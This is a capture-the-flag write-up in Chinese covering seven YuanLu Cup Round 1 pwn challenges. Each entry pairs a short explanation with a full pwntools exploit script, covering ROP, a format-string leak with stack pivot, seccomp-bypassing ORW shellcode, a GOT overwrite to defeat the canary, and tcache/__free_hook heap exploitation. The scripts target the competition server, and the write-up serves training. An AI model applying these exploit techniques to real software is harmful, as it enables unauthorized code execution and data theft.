源鲁杯ROUND1 Pwn方向全部题解
giaopwn
- 签到题,栈溢出同时题目有system还有'cat flag'字符串
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('challenge.yuanloo.com',45488)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
# elf = ELF("/home/zp9080/PWN/pwn")
# libc=elf.libc
#b *$rebase(0x14F5)
gdb_script='''
'''
def dbg():
gdb.attach(p,gdb_script)
pause()
#YLCTF{8bcd5eaf-1867-473d-9f54-b70f6e193066}
pop_rdi=0x400743
system=0x4006D2
catflag=0x601048
payload=b'a'*0x28+p64(pop_rdi)+p64(catflag)+p64(system)
p.send(payload)
p.interactive()
ezstack
- 题目有backdoor,让你输入command,但是过滤了's','h','c','f'这几个字符,可以用system("$0")来绕过getshell
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('challenge.yuanloo.com',42533)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
# elf = ELF("/home/zp9080/PWN/pwn")
# libc=elf.libc
#b *$rebase(0x14F5)
gdb_script='''
'''
def dbg():
gdb.attach(p,gdb_script)
pause()
#YLCTF{3dcb2662-31db-436c-aeff-098c37b8428e}
vuln=0x40127A
payload=b'a'*0x38+p64(vuln)
p.send(payload)
p.sendlineafter("input your command",b'$0')
p.interactive()
ezorw
- 输入的内容就是shellcode,虽然ban了一些系统调用,可以用openat和sendfile进行绕过读取flag
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('challenge.yuanloo.com',36906)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
# elf = ELF("/home/zp9080/PWN/pwn")
# libc=elf.libc
#b *$rebase(0x14F5)
gdb_script='''
'''
def dbg():
gdb.attach(p,gdb_script)
pause()
#YLCTF{106567cb-ec68-4de6-8cdd-7c28754c2697}
shellcode=shellcraft.openat(0,'/flag')+shellcraft.sendfile(1,3,0,0x100)
p.send(asm(shellcode))
p.interactive()
ezfmt
- 有栈溢出同时有格式化字符串漏洞,利用格式化字符串可以泄露libcbase,stack地址,然后栈迁移执行ROP来getshell
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('challenge.yuanloo.com',42191)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
#b *$rebase(0x14F5)
gdb_script='''
b *0x40123B
'''
def dbg():
gdb.attach(p,gdb_script)
pause()
#YLCTF{fb957892-4ba4-467c-9a2c-58e0e63b879e}
# dbg()
vuln=0x40120D
payload=b'%13$p%15$p'.ljust(0x28,b'a')+p64(vuln)
p.send(payload)
p.recvuntil("welcome to YLCTF\n")
libcbase=int(p.recv(14),16)-0x024083
stack=int(p.recv(14),16)-0x000120
print(hex(libcbase))
print(hex(stack))
pop_rdi=0x4012b3
ret=0x40101a
system_addr = libcbase + libc.symbols['system']
bin_addr = libcbase + next(libc.search(b'/bin/sh'))
leave_ret=0x401241
# dbg()
payload=p64(pop_rdi)+p64(bin_addr)+p64(system_addr)+p64(0)+p64(stack)+p64(leave_ret)
p.send(payload)
p.interactive()
canary_orw
-
看到保护栈可执行
-
同时看到题目给了有jmp rsp的gadget,限制了execve系统调用,需要orw,一开始思路就是往栈上写入shellcode然后跳转过去执行
-
在vuln函数中还有个任意地址写8字节,因为buf读入的数据长度是0x10,因此可以覆盖到v3,sys_read(0, v3, 8uLL);就是任意地址写8字节
-
因为没有leak的途径,因此显然需要利用这个任意地址写8字节来覆盖stack_fail_got为一个函数,进而绕过canary
- 同时注意这里的v4是rsp+0x20,所以我一直没找到合适的方法来控制rsp指向shellcode进而jmp rsp,所以需要改变思路
- 我们可以覆盖stack_fail_got为一个pop 3;ret,这样就可以执行v4读入的ROP链写leak出libcbase,同时再一次进入vuln函数利用这个任意地址写8字节往bss写入'flag\x00\x00\x00\x00'字符串,然后再次执行v4读入的ROP链进行ORW就打通了
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('challenge.yuanloo.com',30872)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
# elf = ELF("/home/zp9080/PWN/pwn")
# libc=elf.libc
#b *$rebase(0x14F5)
gdb_script='''
b *0x4008ea
'''
def dbg():
gdb.attach(p,gdb_script)
pause()
#YLCTF{539a8c87-1bbe-425c-96f2-13cf01f8b73f}
# dbg()
vuln=0x400820
stack_fail_got=0x601038
# dbg()
p.sendafter("Say some old spells to start the journey\n",p64(vuln))
p.sendafter("Tell me the location of the Eye of the Deep Sea\n",b'a'*8+p64(stack_fail_got))
p.sendafter("I have magic\n",p64(0x400a5f)) #pop 3
pop_rdi=0x400a63
pop_rsi_r15=0x400a61
read_got=0x601040
write_addr=0x4006E0
payload=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(write_addr)+p64(vuln)
p.sendafter("Let's go!\n",payload)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x10e1e0
print(hex(libcbase))
bss=0x601060+0x800
p.sendafter("Tell me the location of the Eye of the Deep Sea\n",b'a'*8+p64(bss))
p.sendafter("I have magic\n",b'flag\x00\x00\x00\x00') #pop 3
pop_rdi=0x400a63
pop_rsi_r15=0x400a61
read_got=0x601040
write_addr=0x4006E0
pop_rax=libcbase+0x36174
pop_rdx_r12=libcbase+0x119431
syscall_ret=libcbase+0x47656 #syscall pop_rbp ret
payload=p64(pop_rdi)+p64(bss)+p64(pop_rsi_r15)+p64(0)*2+p64(pop_rax)+p64(2)+p64(syscall_ret)+p64(0) #open
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(bss+0x100)*2+p64(pop_rdx_r12)+p64(0x100)*2+p64(pop_rax)+p64(0)+p64(syscall_ret)+p64(0)#read
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(bss+0x100)*2+p64(pop_rdx_r12)+p64(0x100)*2+p64(pop_rax)+p64(1)+p64(syscall_ret)+p64(0)
p.sendafter("Let's go!\n",payload)
p.interactive()
ezheap
-
libc2.31,保护全开,没有UAF也没有off-by-one/null,但是注意到edit函数很特别,可以任意地址写入666666这个数字
-
第一个思路显然是修改sizelist,但是想起来就算修改了size也不能edit来布置堆,同时这个开启了pie更不行。libcbase和heapbase还是很好泄露的
- 这个任意地址写也不是任意值,而是666666这个数字,于是想到了mp_结构体,这样可以扩展tcache,然后通过delete(0)然后再add就可以编辑tcache,这时候就可以写入free_hook,然后打free_hook来getshell
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
io = process("./pwn")
elf = ELF("./pwn")
libc=elf.libc
menu="Input your choice"
def add(size,cont):
io.sendlineafter(menu,str(1))
io.sendlineafter("Size :",str(size))
io.sendafter("Content :",cont)
def delete(idx):
io.sendlineafter(menu,str(2))
io.sendlineafter("Index :",str(idx))
def edit(addr):
io.sendlineafter(menu,str(3))
io.sendafter("content :",addr)
def show(idx):
io.sendlineafter(menu,str(4))
io.sendlineafter("Index :",str(idx))
add(0x500,b'a')
add(0x500,b'/bin/sh\x00')
add(0x500,b'a')
add(0x500,b'a')
add(0x100,b'a')
delete(2)
add(0x500,b'a'*8)
show(5)
io.recvuntil(b'a'*8)
libcbase=u64(io.recv(6).ljust(8,b"\x00"))-0x1ecbe0
print(hex(libcbase))
free_hook= libcbase +libc.sym['__free_hook']
system=libcbase+libc.sym['system']
mp_=libcbase+0x1EC280+0x50
edit(p64(mp_))
delete(3)
delete(0)
add(0x500,p64(0)*13+p64(free_hook))
add(0x500,p64(system))
delete(1)
io.interactive()
io.sendline('cat flag')
print(io.recvline())
msg_bot
- 这个题和CISCN初赛有个题很像,也是个protobuf,同样也是不能用pbtk工具直接提取,需要手动逆向出来proto来交互
- 逆向结果如下
syntax = "proto2";
message devicemsg{
required int64 msgid = 1;
required int64 msgsize = 2;
required bytes msgcontent=3;
}
-
剩下的也没有那么简单,因为只有如下系统调用可以使用
-
显然这里是ORW缺少open的情况,同时注意题目可以使用32位系统调用,也可以使用系统调用号为5的系统调用,那么思路就来了,用retfq这个方法在32位的情况下进行open就行了
-
但是题目对shellcode还有如下check
-
遇到这种情况显然不能硬搓这么长的一个shellcode,当然是先用搓出read然后利用read读入不受限制的shellcode
- 先搓出来符合check的read
#push rax 0x50 pop rdx 0x5a read
shellcode='''
push rax
pop rsi
push rax
pop rdx
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
push 0x5f
pop rcx
xor byte ptr [rsi+0x20],cl
xor byte ptr [rsi+0x21],cl
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
pop rdx
- 然后读入shellcode,主要是32位下的open和64位下的read和write
#rdx存着dest地址
shellcode1='''
push rsi
pop rdx
add rsi,0x50
push 0x23
push rsi
retfq
'''
shellcode=b'\x90'*0x30+asm(shellcode1,arch = 'amd64',os = 'linux').ljust(0x20,b'\x90')
shellcode_open = '''
/*fp = open("flag",0)*/
mov esp,edx
add esp,0x500
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode+=asm(shellcode_open)
shellcode=shellcode.ljust(0x100,b'\x90')
shellcode_rw = '''
push 0x33
add rdx,0x10c
push rdx
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp /*rsi只要是个可写的地址就行,这里直接用rsp指向的位置最方便*/
mov rdx,0x70
xor rax,rax
syscall
/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''
- 完整exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
import devicemsg_pb2
from ae64 import AE64
context(log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('challenge.yuanloo.com',23476)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
#b *$rebase(0x14F5)
def dbg():
gdb.attach(p,'b *$rebase(0x17C9)')
pause()
#YLCTF{8b2b54d3-abf0-49ee-8fab-4e3a7760a6f2}
menu='botmsg:'
def add(msgid,msgsize,mgscontent):
d = devicemsg_pb2.devicemsg()
d.msgid = msgid
d.msgsize= msgsize
d.msgcontent = mgscontent
strs = d.SerializeToString()
p.sendafter(menu, strs)
# dbg()
#push rax 0x50 read
shellcode='''
push rax
pop rsi
push rax
pop rdx
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
push 0x5f
pop rcx
xor byte ptr [rsi+0x20],cl
xor byte ptr [rsi+0x21],cl
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
pop rdx
'''
add(0xC0DEFEED, 0xF00DFACE,asm(shellcode,arch = 'amd64',os = 'linux'))
#rdx存着dest地址
shellcode1='''
push rsi
pop rdx
add rsi,0x50
push 0x23
push rsi
retfq
'''
shellcode=b'\x90'*0x30+asm(shellcode1,arch = 'amd64',os = 'linux').ljust(0x20,b'\x90')
shellcode_open = '''
/*fp = open("flag",0)*/
mov esp,edx
add esp,0x500
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode+=asm(shellcode_open)
shellcode=shellcode.ljust(0x100,b'\x90')
shellcode_rw = '''
push 0x33
add rdx,0x10c
push rdx
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp /*rsi只要是个可写的地址就行,这里直接用rsp指向的位置最方便*/
mov rdx,0x70
xor rax,rax
syscall
/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''
shellcode+=asm(shellcode_rw,arch = 'amd64',os = 'linux')
p.send(shellcode)
p.interactive()
4 条评论
可输入 255 字